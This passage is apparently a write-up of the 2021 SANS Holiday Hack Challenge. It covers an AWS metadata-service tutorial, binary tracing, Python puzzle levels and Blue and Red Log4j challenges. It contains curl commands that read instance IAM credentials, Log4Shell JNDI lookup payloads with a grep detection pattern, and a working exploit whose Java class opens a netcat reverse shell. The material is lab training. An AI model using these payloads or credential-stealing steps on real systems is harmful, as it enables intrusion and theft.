Much of the data retrieved from IMDS will be returned in JavaScript Object Notation (JSON) format. Piping the output to jq will make the content easier to read. Re-run the previous command, sending the output to JQ: curl http://169.254.169.254/latest/dynamic/instance-identity/document | jq.

Here we see several details about the instance when it was launched. Developers can use this information to optimize applications based on the instance launch parameters.

$ curl http://169.254.169.254/latest/meta-data
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/ami
block-device-mapping/ebs0
block-device-mapping/ephemeral0
block-device-mapping/root
block-device-mapping/swap
elastic-inference/associations
elastic-inference/associations/eia-bfa21c7904f64a82a21b9f4540169ce1
events/maintenance/scheduled
events/recommendations/rebalance
hostname
iam/info
iam/security-credentials
iam/security-credentials/elfu-deploy-role
instance-action
instance-id
instance-life-cycle
instance-type
latest
latest/api/token
local-hostname
local-ipv4
mac
network/interfaces/macs/0e:49:61:0f:c3:11/device-number
network/interfaces/macs/0e:49:61:0f:c3:11/interface-id
network/interfaces/macs/0e:49:61:0f:c3:11/ipv4-associations/192.0.2.54
network/interfaces/macs/0e:49:61:0f:c3:11/ipv6s
[…]

By accessing the metadata elements, a developer can interrogate information about the system. Take a look at the public-hostname element: curl http://169.254.169.254/latest/meta-data/public-hostname.

$ curl http://169.254.169.254/latest/meta-data/public-hostname
ec2-192-0-2-54.compute-1.amazonaws.com

Many of the data elements returned won’t include a trailing newline, which causes the response to blend into the prompt. Re-run the prior command, adding ; echo to the end of the command. This will add a new line character to the response.

There is a whole lot of information that can be retrieved from the IMDS server. Even AWS Identity and Access Management (IAM) credentials! Request the endpoint http://169.254.169.254/latest/meta-data/iam/security-credentials to see the instance IAM role.

$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials ; echo
elfu-deploy-role

Once you know the role name, you can request the AWS keys associated with the role. Request the endpoint http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role to get the instance AWS keys.

$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role ; echo
{
¬†¬†“Code”: “Success”,
¬†¬†“LastUpdated”: “2021-12-02T18:50:40Z”,
¬†¬†“Type”: “AWS-HMAC”,
¬†¬†“AccessKeyId”: “AKIA5HMBSK1SYXYTOXX6”,
¬†¬†“SecretAccessKey”: “CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX”,
¬†¬†“Token”: “NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==”,
¬†¬†“Expiration”: “2026-12-02T18:50:40Z”
}

So far, we’ve been interacting with the IMDS server using IMDSv1, which does not require authentication. Optionally, AWS users can turn on IMDSv2 that requires authentication. This is more secure, but not on by default.

$ cat gettoken.sh
TOKEN=curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

This script will retrieve a token from the IMDS server and save it in the environment variable TOKEN. Import it into your environment by running ‘source gettoken.sh’.

$ source gettoken.sh
$ echo $TOKEN
Uv38ByGCZU8WP18PmmIdcpVmx00QA3xNe7sEB9Hixkk=

With the IMDS token, you can make an IMDSv2 request by adding the X-aws-ec2-metadata-token header to the curl request. Access the metadata region information in an IMDSv2 request: curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region

$ curl -H “X-aws-ec2-metadata-token: $TOKEN” http://169.254.169.254/latest/meta-data/placement/region
np-north-1

And this end the tutorial in IMDS.

9 - Strace Ltrace Retrace


Elf Location
Tinsel Upatree Kitchen

This challengei is about using strace and ltrace command to trace a binary. The difference between the two is that strace is a system call and signal tracer and ltrace is a library call tracer.

As per the description of the challenge, some file has been deleted and we need to recreate it:

 Terminal 9 description
Terminal 9 description

The binary is found in the home folder and when we launch it, we get:

$ ./make_the_candy
Unable to open configuration file.

If we trace the system calls with strace we see that it looks for a file called registration.json in the same directory:

strace
strace

Let’s create it in the home folder and relaunch the binary. This time we get a different message:

$ touch registration.json
$ ./make_the_candy
Unregistered - Exiting.

With ltrace now we see that it reads the first line of the file and ends there because we have an empty file. Let’s add some content and try again:

ltrace
ltrace

It checks that the first line contains the string Registration then reads the next line. If we add a few more lines to the file we see that it keeps looking for the same string on all the lines. Let’s add it and check again:

ltrace 2
ltrace 2

It now checks for a : on the same line. We add it in the same way and the last word it looks for is True. The final content of the file must be Registration:True. Now when we launch the binary we get the command /bin/initialize_cotton_candy_sys executed that creates a candy in the terminal!

Additionally, we could have retrieved the binary file and decompile it with Ghidra for analysis. The code is straighforward, 6 strings are initially decrypted with a custom algorithm. Then the registration file is opened and the lines are read to look for what we saw above.

Ghidra - main function
Ghidra - main function

The decryption algorithm is a basic Caesar with a key that is different per string. If the decrypted character equals 0x7f, it is replaced by a space:

decrypt function
decrypt function

So to decrypt the first string we can use the following code:

1
2
3
4
5
ct = "685b5d5f696a68576a5f65642460696564"
pt = ""
for c in map(''.join, zip(*\[iter(ct)\]* 2)):
  pt = pt + chr(int(c,16) + 0xa)              # key = 0xa
print(pt)

The output is registration.json.

10 - The Elf C0de - Python Edition!


Elf Location
Ribb Bonbowford Dining Room

This challenge is similar to The Elf C0de challenge of last year that was dedicated to learning Javascript. This year will be about learning Python 3. The goal will be again to help the munchkin get all the lollipops and reach the castle entrance programmatically. Some levels can have constraints like resolving the level with limited lines of code or object calls.

Level 0
Level 0 map

The solution is given and we just need to get familiarized with the different calls and click Run to go to the next level. The constraint it to use no more than 22 lines of code and 8 object function calls:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import elf, munchkins, levers, lollipops, yeeters, pits
# Grab our lever object
lever = levers.get(0)
munchkin = munchkins.get(0)
lollipop = lollipops.get(0)
# move to lever position
elf.moveTo(lever.position)
# get lever int and add 2 and submit val
leverData = lever.data() + 2
lever.pull(leverData)
# Grab lollipop and stand next to munchkin
elf.moveLeft(1)
elf.moveUp(8)
# Solve the munchkin's challenge
munchList = munchkin.ask() # e.g. [1, 3, "a", "b", 4]
answer_list = []
for elem in munchList:
    if type(elem) == int:
        answer_list.append(elem)
munchkin.answer(answer_list)
elf.moveUp(2) # Move to finish
Level 1 map
Level 1 map

The constraint is to use no more than 8 lines of code and 6 object function calls. One solution is:

1
2
3
import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveLeft(10)
elf.moveUp(10)
Level 2 map
Level 2 map

The constraint is to use no more than 10 lines of code and 6 object function calls. One solution is:

1
2
3
4
5
6
7
import elf, munchkins, levers, lollipops, yeeters, pits
lollipop0 = lollipops.get(0)
lollipop1 = lollipops.get(1)
elf.moveTo(lollipop1.position)
elf.moveTo(lollipop0.position)
elf.moveLeft(3)
elf.moveUp(6)
Level 3 map
Level 3 map

The constraint is to use no more than 10 lines of code and 6 object function calls. And the lever objective is to simply add 2 to the value given by the lever. One solution is:

1
2
3
4
5
6
7
8
import elf, munchkins, levers, lollipops, yeeters, pits
lever0 = levers.get(0)
lollipop0 = lollipops.get(0)
elf.moveTo(lever0.position)
sum = lever0.data() + 2
lever0.pull(sum)
elf.moveTo(lollipop0.position)
elf.moveUp(10)
Level 4 map
Level 4 map

The constraint is to use no more than 18 lines of code and 15 object function calls. And the lever’s objective is to submit different kind of data types. One solution is:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import elf, munchkins, levers, lollipops, yeeters, pits
lever0, lever1, lever2, lever3, lever4 = levers.get()
elf.moveTo(lever4.position)
# This lever wants a str object:
lever4.pull("n00b")
elf.moveTo(lever3.position)
# This lever wants a bool object:
lever3.pull(True)
elf.moveTo(lever2.position)
# This lever wants a int object:
lever2.pull(1)
elf.moveTo(lever1.position)
# This lever wants a list object:
lever1.pull([])
elf.moveTo(lever0.position)
# This lever wants a dict object:
lever0.pull({})
elf.moveUp(2)
Level 5 map
Level 5 map

The constraint is to use no more than 23 lines of code and 18 object function calls. And the lever’s objective are:

  • lever 4 - get a string and return it concatenated with concatenate
  • lever 3 - get a bool and return the inversed bool
  • lever 2 - get an integer and return the value +1
  • lever 1 - get a list and return it appended with the integer 1
  • lever 0 - get a dict and return it with a new key-value "strkey":"strvalue"

One solution is, re-using the previous code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import elf, munchkins, levers, lollipops, yeeters, pits
lever0, lever1, lever2, lever3, lever4 = levers.get()
elf.moveTo(lever4.position)
# string concatenation
lever4.pull(lever4.data()+" concatenate")
elf.moveTo(lever3.position)
# inversed bool
lever3.pull(not(lever3.data()))
elf.moveTo(lever2.position)
# int addition
lever2.pull(lever2.data()+1)
elf.moveTo(lever1.position)
# append to list
l = lever1.data()
l.append(1)
lever1.pull(l)
elf.moveTo(lever0.position)
# add key-value to dict
d = lever0.data()
d["strkey"]="strvalue"
lever0.pull(d)
elf.moveUp(2)
Level 6 map
Level 6 map

The constraint is to use no more than 23 lines of code and 6 object function calls. And the lever objective is that if the lever returns a boolean, return the inverse. For a number, return double the number. For a list of integers, return that list with each integer incremented by 1. For a string, return the string concatenated with itself. For a dict, return the dict with a’s value + 1.

One solution could be:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import elf, munchkins, levers, lollipops, yeeters, pits
# Fix/Complete the below code
lever = levers.get(0)
data = lever.data()
print("DATA:")
print(data)
if type(data) == bool:
    data = not data
elif type(data) == int:
    data = data * 2
elif type(data) == str:
    data = data+data
elif type(data) == list:
    data = [x+1 for x in data]
elif type(data) == dict:
    data["a"] = data["a"]+1
elf.moveTo(lever.position)
lever.pull(data)
elf.moveUp(2)
Level 7 map
Level 7 map

The constraint is to use no more than 12 lines of code and 12 object function calls.

One solution could be:

1
2
3
4
import elf, munchkins, levers, lollipops, yeeters, pits
for num in range(5):
    elf.moveLeft(3)
    elf.moveUp(11) if num % 2 == 0 else elf.moveDown(11)
Level 8 map
Level 8 map

The constraint is to use no more than 12 lines of code and 10 object function calls. The lever objective is to get an array and add the string munchkins rule as the first element. The munchkin objective is to get a dictionary object and we must return the key with a value of lollipop.

So we have 2 solutions, one involving the lever to make the munchkin fall and one only involving the munchkin.

Solution 1 (with lever)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import elf, munchkins, levers, lollipops, yeeters, pits
all_lollipops = lollipops.get()
lever = levers.get(0)
for lollipop in all_lollipops:
    elf.moveTo(lollipop.position)
elf.moveTo(lever.position)
l = lever.data()
l.insert(0, "munchkins rule")
lever.pull(l)
elf.moveDown(3)
elf.moveLeft(6)
elf.moveUp(2)

Solution 2 (with munchkin)

1
2
3
4
5
6
7
8
9
import elf, munchkins, levers, lollipops, yeeters, pits
all_lollipops = lollipops.get()
munchkin = munchkins.get(0)
for lollipop in all_lollipops:
    elf.moveTo(lollipop.position)
elf.moveTo(munchkin.position)
d = munchkin.ask()
munchkin.answer(list(d.keys())[list(d.values()).index("lollipop")])
elf.moveUp(2)

At this point we have validated the challenge, but there are optional levels!

Level 9 map
Level 9 map

The constraint is to use no more than 27 lines of code and 25 object function calls. For the levers, we only need to submit the lever index each time. For the munchkin we have this objective:

Munchkin objective
Munchkin objective
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import elf, munchkins, levers, lollipops, yeeters, pits

def munchkin_func(list_of_lists):
    result = 0
    for l in list_of_lists:
        result = result + sum([num for num in l if isinstance(num, int)])
    print(result)
    return result

all_levers = levers.get()
munchkin = munchkins.get(0)
# Create Movement pattern:
moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2

# We iterate over each move in moves getting an index (i) number that increments by one each time
for i, move in enumerate(moves):
    move(i+1)
    if i < len(all_levers):
        all_levers[i].pull(i)
elf.moveUp(2)
elf.moveLeft(4)
munchkin.answer(munchkin_func)
elf.moveUp(1)
Level 10 map
Level 10 map

We get the following hint for this one:

You want to move once each munchkin is the furthest grid coordinates aways on the x axis (which will be 6 for each munchkin). Use while loops and implement a conditional check using the elf.position["x"] and munchkin.position["x"] values to check how far away the munchkin is before using moveTo to the next lollipops position. When using while loops, use a small delay of time.sleep(0.05) to ensure the browser does not lock up.

The constraint is to use no more than 17 lines of code and 15 object function calls. The munchkins cannot be made friendly and must be avoided.

One solution could be:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import elf, munchkins, levers, lollipops, yeeters, pits
import time
muns = munchkins.get()
lols = lollipops.get()[::-1]

for index, mun in enumerate(muns):
    # need to wait while absolute distance between
    # elf.position["x"] and mun.position['x'] is less than 6
    # then we move to next lollipop
    # We can use time.sleep(0.05) to add a small delay in a while loop
    while abs(elf.position["x"] - mun.position['x'])<6:
        time.sleep(0.05)
    elf.moveTo(lols[index].position)
        
elf.moveLeft(6)
elf.moveUp(2)

This time we completed the whole game:

Game Over
Game Over

11 - Frostavator


Elf Location
Grody Goiterson Frost Tower Lobby

For this challenge, we have to repair the Frostavator to have access to all the floors of the Frost Tower:

Frostavator
Frostavator

When opening the Panel, we access the elevator’s main board where we see a logic circuit. The goal is to move the existing logic gates in order to illuminate the 3 outputs. From the start we have the following information (in red):

Frostvator panel
Frostvator panel

We cannot change the input values. Regarding the outputs of the different logic gates, we can refer to this diagram:

Logic Gates
Logic Gates - source: http://www.exclusivearchitecture.com/?page_id=2425

This is a possible solution:

Solution
Solution

12a - Bonus! Blue Log4Jack


Elf Location
Bow Ninecandle The North Pole

This challenge and the following one have been added after the start of Kringlecon 4 due to the Log4Shell vulnerabilities that were discovered as of December 9th 2021. You can refer the the resources created by Snyk to have more information on those vulnerabilities.

This challenge comes in 2 parts, one from the Blue Team perspective that is more of a tutorial, and the other one from the Red Team perspective. Let’s start by the Blue Team lesson where we’ll look at Java source code to better understand the Log4j vulnerability described in CVE-2021-44228.

We have a Java source code (with the .java file name extension), and a vulnerable version of the Log4j library. Display the contents of the DisplayFilev1.java source code with the cat command.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import java.io.*;

public class DisplayFilev1 {
    public static void main(String[] args) throws Exception {

        File file = new File(args[0]);
        BufferedReader br = new BufferedReader(new FileReader(file));

        String st;
        while ((st = br.readLine()) != null) {
            System.out.println(st);
        }
    }
}

This Java program has one job: it reads a file specified as a command-line argument, and displays the contents on the screen. We’ll use it as an example of error handling in Java. Let’s compile this Java source so we can run it. Run the command javac DisplayFilev1.java. Next, run the program and display the contents of the testfile.txt file. Run java DisplayFilev1 testfile.txt.

$ javac DisplayFilev1.java
$ java DisplayFilev1 testfile.txt
Hello from Prof. Petabyte!

This program did its job: it displayed the testfile.txt contents. But it also has some problems. Re-run the last command, this time trying to read testfile2.txt:

$ java DisplayFilev1 testfile2.txt
Exception in thread “main” java.io.FileNotFoundException: testfile2.txt (No such file or directory)
  at java.io.FileInputStream.open0(Native Method)
  at java.io.FileInputStream.open(FileInputStream.java:195)
  at java.io.FileInputStream.<init>(FileInputStream.java:138)
  at java.io.FileReader.<init>(FileReader.java:72)
  at DisplayFilev1.main(DisplayFilev1.java:7)

This program doesn’t gracefully handle a scenario where the file doesn’t exist. Program exceptions like this one need consistent handling and logging, which is where Log4j comes in.

The Apache Log4j library allows developers to handle logging consistently in code. Let’s look at an example of a modified version of this program. Run cat DisplayFilev2.java.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import java.io.*;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class DisplayFilev2 {
    static Logger logger = LogManager.getLogger(DisplayFilev2.class);
    public static void main(String[] args) throws Exception {
        String st;
        try {
            File file = new File(args[0]);
            BufferedReader br = new BufferedReader(new FileReader(file));

            while ((st = br.readLine()) != null)
                System.out.println(st);
        }
        catch (Exception e) {
            logger.error("Unable to read file " + args[0] + " (make sure you specify a valid file name).");
        }
    }
}

This Java program has the same functionality, but the first few lines adds support for the log4j library. The 4th line from the bottom calls Log4j with the logger.error() function, followed by a logging message.

Let’s compile this Java source with Log4j support so we can run it. Run the command javac DisplayFilev2.java. Then let’s run the program and tell it to read testfile2.txt file. Run java DisplayFilev2 testfile2.txt.

$ javac DisplayFilev2.java
$ java DisplayFilev2 testfile2.txt
21:26:19.160 [main] ERROR DisplayFilev2 - Unable to read file testfile2.txt (make sure you specify a valid file name).

This time, the program doesn’t crash - it exits with an error message generated by Log4j. The Log4j library is valuable to produce consistent logging messages that can be handled flexibly. Unfortunately, multiple vulnerabilities allows attackers to manipulate this functionality in many versions of Log4j 2 before version 2.17.0.

The CVE-2021-44228 Log4j vulnerability is from improper input validation. Log4j includes support for lookup features, where an attacker can supply input that retrieves more data than intended from the system. Re-run the prior java command, replacing testfile2.txt with the string '${java:version}' (IMPORTANT: include the quotation marks in this command)

$ java DisplayFilev2 ‘${java:version}’
21:28:56.652 [main] ERROR DisplayFilev2 - Unable to read file Java version 1.8.0_312 (make sure you specify a valid file name).

Notice how the error has changed - instead of a file name, the error shows the Java version information. The Log4j lookup command java:version retrieves information from the host operating system. Let’s try another example: re-run the last command, changing the java:version string to env:APISECRET.

$ java DisplayFilev2 ‘${env:APISECRET}’
21:30:26.146 [main] ERROR DisplayFilev2 - Unable to read file pOFZFiWHjqKoQaRhNYyC (make sure you specify a valid file name).

Using the Log4j env lookup, attackers can access local environment variables, possibly disclosing secrets like this one. Log4j also supports lookup requests using the Java Naming and Directory Interface (JNDI). These requests can reach out to an attacker server to request data.

Log4j lookups can also tell the vulnerable server to contact the attacker using LDAP and DNS. Run the startserver.sh command to launch a simple server for testing purposes. The bottom window is waiting for a connection at the specified IP address and port. Re-run the DisplayFilev2 program, using the Log4j lookup to connect to the server: java DisplayFilev2 '${jndi:ldap://127.0.0.1:1389/Exploit}'.

$ ./startserver.ch
$ java DisplayFilev2 ‘${jndi:ldap://127.0.0.1:1389/Exploit}’

Notice how the server received a connection from the vulnerable application in the server (“Connection received”)? This is a critical part of the Log4j vulnerability, where an attacker can force a server to connect to an attacking system to exploit the vulnerability.

Listening on 0.0.0.0 1389
Connection received on 127.0.0.1 44050
0

To address this vulnerability, applications need an updated version of Log4j. Change to the ~/patched directory by running cd ~/patched. List the contents of this directory with the ls command.

$ cd ~/patched/
$ ls
DisplayFilev2.java classpath.sh log4j-api-2.17.0.jar log4j-core-2.17.0.jar

This is the same DisplayFilev2.java source, but the Log4j library is updated to a patched version. To use the updated library, change the Java CLASSPATH variable by running source classpath.sh. Compile the DisplayFilev2.java source using the patched Log4j library. Run javac DisplayFilev2.java. Use the Log4j lookup string java:version by running the following command: java DisplayFilev2 '${java:version}' IMPORTANT: include the quotation marks in this command.

$ source classpath.sh
$ javac DisplayFilev2.java
$ java DisplayFilev2 ‘${java:version}’
21:49:34.743 [main] ERROR DisplayFilev2 - Unable to read file ${java:version} (make sure you specify a valid file name).

With the fixed Log4j library, attackers can’t use the lookup feature to exploit library. The same program displays the ${java:version} lookup as a literal string, without performing the actual lookup. Next, we’ll look at a technique to scan applications for the vulnerable Log4j library.Run cd to return to the home directory. The log4j2-scan utility is a tool to scan for vulnerable Log4j application use. Run the log4j2-scan utility, specifying the vulnerable directory as the first command-line argument.

$ ./log4j2-scan ./vulnerable/
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: ./vulnerable/ (without tmpfs, shm)
[*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /home/elfu/./vulnerable/log4j-core-2.14.1.jar, log4j 2.14.1

Scanned 1 directories and 8 files
Found 1 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.00 seconds

Log4j2-scan quickly spots the vulnerable version of Log4j. Repeat this command, changing the search directory to patched.

$ ./log4j2-scan ./patched/
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: ./patched/ (without tmpfs, shm)

Scanned 1 directories and 5 files
Found 0 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.00 seconds

Log4j2-scan can also scan large directories of files. This server includes the Apache Solr software that uses Log4j in the /var/www/solr directory. Scan this directory with log4j2-scan to identify if the server is vulnerable.

$ ./log4j2-scan /var/www/solr/
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: /var/www/solr/ (without tmpfs, shm)
[] Found CVE-2021-44228 (log4j 2.x) vulnerability in /var/www/solr/server/lib/ext/log4j-core-2.14.1.jar, log4j 2.14.1
[
] Found CVE-2021-44228 (log4j 2.x) vulnerability in /var/www/solr/contrib/prometheus-exporter/lib/log4j-core-2.14.1.jar, log4j 2.14.1

Scanned 102 directories and 1988 files
Found 2 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.39 seconds

Log4j2-scan finds two vulnerable Log4j libraries: one for the Solr platform, and one for a third-party plugin. Both need to be patched to resolve the vulnerability. Next, we’ll look at scanning system logs for signs of Log4j attack.

The CVE-2021-44228 Log4j exploit using JNDI for access is known as Log4shell. It uses the JNDI lookup feature to manipulate logs, gain access to data, or run commands on the vulnerable server. Web application servers are a common target. Let’s scan the web logs on this server. Examine the files in the /var/log/www directory. We can scan web server logs to find requests that include the Log4j lookup syntax using a text pattern matching routine known as a regular expression. Examine the contents of the logshell-search.sh script using cat. This script recursively searches for Log4shell attack syntax in any files. Run the logshell-search.sh command, specifying the /var/log/www directory as the search target.

$ ls /var/log/www/
access.log

$ cat logshell-search.sh
#!/bin/sh
grep -E -i -r '${jndi:(ldap[s]?|rmi|dns):/[^\n]+' $1

$ ./logshell-search.sh /var/log/www/
/var/log/www/access.log:10.26.4.27 - - [14/Dec/2021:11:21:14 +0000] “GET /solr/admin/cores?foo=${jndi:ldap://10.26.4.27:1389/Evil} HTTP/1.1” 200 1311 “-” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0”
/var/log/www/access.log:10.99.3.1 - - [08/Dec/2021:19:41:22 +0000] “GET /site.webmanifest HTTP/1.1” 304 0 “-” “${jndi:dns://10.99.3.43/NothingToSeeHere}”
/var/log/www/access.log:10.3.243.6 - - [08/Dec/2021:19:43:35 +0000] “GET / HTTP/1.1” 304 0 “-” “${jndi:ldap://10.3.243.6/DefinitelyLegitimate}”

In this output we see three examples of Log4shell attack. Let’s look at each line individually. Re-run the previous command, piping the output to | sed '1!d' to focus on the first line. In this first attack, we see the attacker is at 10.26.4.27. The Log4j lookup command is sent as a URL GET parameter, attempting to use JDNI to reach the attacker LDAP server at ldap://10.26.4.27:1389 (see in the ${jndi:ldap://10.26.4.27:1389/Evil} string). Re-run the previous command, this time looking at the 2nd line of output.

$ ./logshell-search.sh /var/log/www | sed ‘1!d’
/var/log/www/access.log:10.26.4.27 - - [14/Dec/2021:11:21:14 +0000] “GET /solr/admin/cores?foo=${jndi:ldap://10.26.4.27:1389/Evil} HTTP/1.1” 200 1311 “-” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0”

In the second attack, we see the attacker is at 10.99.3.1. Instead of a URL GET parameter, this time the exploit is sent through the browser User-Agent field. The attacker attempted to use JDNI to reach the attacker DNS server at dns://10.99.3.43, using a different IP than the exploit delivery address.

$ ./logshell-search.sh /var/log/www | sed ‘2!d’
/var/log/www/access.log:10.99.3.1 - - [08/Dec/2021:19:41:22 +0000] “GET /site.webmanifest HTTP/1.1” 304 0 “-” “${jndi:dns://10.99.3.43/NothingToSeeHere}”

Re-run the previous command, this time looking at the 3rd line of output. Here we see the attacker is at 10.3.243.6. This attack is also sent through the browser User Agent field, but this more closely resembles the first attack using the attacker LDAP server at 10.3.243.6. The DefinitelyLegitimate string is supplied by the attacker, matching a malicious Java class on the LDAP server to exploit the victim Log4j instance.

$ ./logshell-search.sh /var/log/www | sed ‘3!d’
/var/log/www/access.log:10.3.243.6 - - [08/Dec/2021:19:43:35 +0000] “GET / HTTP/1.1” 304 0 “-” “${jndi:ldap://10.3.243.6/DefinitelyLegitimate}”

12b - Bonus! Red Log4Jack


Elf Location
Icky McGoop The North Pole

For the second part of the challenge, we access a terminal where we need to exploit a Log4Shell vulnerability. The remote host to exploit is http://solrpower.kringlecastle.com:8983 and the goal it to have a shell on that server and read the file /home/solr/kringle.txt. To help with this task, we have a web servers and a Netcat listening on respectively on ports 8080 and 4444.

 Terminal 12b description
Terminal 12b description

As mentioned, the vulnerable server runs a version of Apache Solr that is vulnerable to Log4Shell. The security advisory can be found here. As explained in this blogpost, the vulnerable endpoint is /solr/admin/cores where any argument we we supply will be logged using the vulnerable log4j version.

Let’s try to call /solr/admin/cores?noob=${jndi:ldap://172.17.0.2:4444} and see if one of our listener gets a hit:

Log4Shell POC
Log4Shell POC

Now that we know the system is exploitable, we can prepare the attack. We will use marshalsec which is a Java unmarshaller that we will use to get the LDAP call from the vulnerable server. This call will then be forwarded to our listening webserver that will serve the payload that will be executed by the vulnerable server.

We start the marshalsec service that is found in the /home/troll/mashalsec folder:

$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://172.17.0.2:8080/#MyExploit”

Where MyExploit will be the Java class that will contain our payload. This Java class needs to be created in the /home/troll/web folder where the webserver is launched. We create MyExploit.java that contains:

1
2
3
4
5
6
7
8
9
public class MyExploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc 172.17.0.2 4444 -e /bin/bash");
        } catch (Exception err) {
            err.printStackTrace();
        }
    }
}

Then we compile it with javac MyExploit.java. Finally we deliver the exploit payload: /solr/admin/cores?noob=$\{jndi:ldap://172.17.0.2:1389/MyExploit\}':

Log4Shell exploit
Log4Shell exploit

Now we can read the needed file and complete the challenge.

$ cat /home/solr/kringle.txt
The solution to Log4shell is patching.
Sincerely,

Santa

# in another pane
$ runtoanswer
What is Santa’s solution for Log4j?

> patching

The Narrative


Jack Frost is back to get his revenge over last year failure! He has decided to gather an army of trolls and to build a majestic and big tower, the Frost Tower, next to Santa’s Castle! He planned as well to organize a bigger conference than Santa’s, called Frostfest and to sell more goodies. All this in the hope to get the elves on his side, to steal Santa’s sleigh technology, improve it, cause mayhem in the delivery of presents to kids all over the world and finally come as a savior in the eyes of everybody!

But this was without counting on some trolls that started to be suspicious and who started helping us defeat Jack once and for all. Once we completed all the objectives and repaired the Speak&Spell device, an alien spaceship landed on top of the Frost Tower:

Alien spaceship
Alien spaceship

Inside, the spaceship, some Frostians, accompanied by their princess Buttercup, came to take Jack Frost back to his planet and bring him to justice. They explain:

And Santa to add:

Christmas Eggs

One of the quests I enjoy the most in the Holiday Hack challenges is to find as many hidden Eggs as possible! Here are the ones I spotted this year:

Location Egg
Kringlecon Title Calling Birds comes from The Twelve Days of Christmas carol (the 4th day of Christmas for the 4th KringleCon)
Castle Entrance The main painting refers to Kringlecon 3
Talks Lobby The music that plays is based on the Wellerman song
Jack’s Studio We see the presents Jack’s offered to Santa’s in Kringlecon 3
Jack’s Restroom We find Jason (who find new hiding places every year) when flushing the toilets
Rooftop Numby Chiblain says “Klatu Barada Nikto!” which is a reference to the 1951 movie The Day the Earth Stood Still
Rooftop The musical notes played by the Speak&Bell are the ones played in Close Encounters of the Third Kind by humans to get in contact with aliens
Frostavator We can access a hidden floor by changing the button IDs client side. The room display a big “LOL” on the floor and an image of a turtle as background. The areas is called “__Shenanigans__”. The image represents Great A’Tuin, the Giant Star Turtle who travels through the Discworld universe’s space.
The Third Kind The name of the location refers to the Spielberg movie Close Encounters of the Third Kind
Objective 2 The objective name refers to Carmen San Diego books, games and cartoons
Objective 2 An HTTP cookie is called Cookiepella, which refers to the group Rockapella who took part in a Carmen Sandiego game show
Objective 3 The Nidus Thermostat refers to the Google Nest Thermostat
Objective 7 One of the printed file refers to the famous book How to Win Friends and Influence People
Objective 7 The message follow the white rabbit... is a ref to Matrix and/or Alice in Wonderland
Objective 7 The image of a bird on a knob found in /var/spool/birdknob.png
Objective 10 The region where the server is located, np-north-1, is a fictional AWS North Pole region
Objective 13 The sentence that the doll must say “Let me talk to your manager” refers to memes found all over the Internet
Terminal 5 The game Santa’s Holiday Hero game refers to the game Guitar Hero

Resources and hints


Objective 2
  • Coordinate Systems - Don’t forget coordinate systems other than lat/long like MGRS and what3words.
  • Flask Cookies - While Flask cookies can’t generally be forged without the secret, they can often be decoded and read.
  • OSINT Talk - Clay Moody is giving a talk about OSINT techniques right now!
Objective 3
  • Linux Wi-Fi Commands - The iwlist and iwconfig utilities are key for managing Wi-Fi from the Linux command line.
  • Web Browsing with cURL - cURL makes HTTP requests from a terminal - in Mac, Linux, and modern Windows!
  • Adding Data to cURL requests - When sending a POST request with data, add --data-binary to your curl command followed by the data you want to send.
Objective 4
  • Parameter Tampering - It seems they’re susceptible to parameter tampering.
  • Intercepting Proxies - Web application testers can use tools like Burp Suite or even right in the browser with Firefox’s Edit and Resend feature.
Objective 5
Objective 6
  • Shellcode Primer Primer - If you run into any shellcode primers at the North Pole, be sure to read the directions and the comments in the shellcode source!
  • Debugging Shellcode - Also, troubleshooting shellcode can be difficult. Use the debugger step-by-step feature to watch values.
  • Register Stomping - Lastly, be careful not to overwrite any register values you need to reference later on in your shellcode.
Objective 7
Objective 8
  • Kerberoast and AD Abuse Talk - Check out Chris Davis' talk and scripts on Kerberoasting and Active Directory permissions abuse.
  • Kerberoasting and Hashcat Syntax - Learn about Kerberoasting to leverage domain credentials to get usernames and crackable hashes for service accounts.
  • Finding Domain Controllers - There will be some 10.X.X.X networks in your routing tables that may be interesting. Also, consider adding -PS22,445 to your nmap scans to “fix” default probing for unprivileged scans.
  • Hashcat Mangling Rules - OneRuleToRuleThemAll.rule is great for mangling when a password dictionary isn’t enough.
  • CeWL for Wordlist Creation - CeWL can generate some great wordlists from website, but it will ignore digits in terms by default.
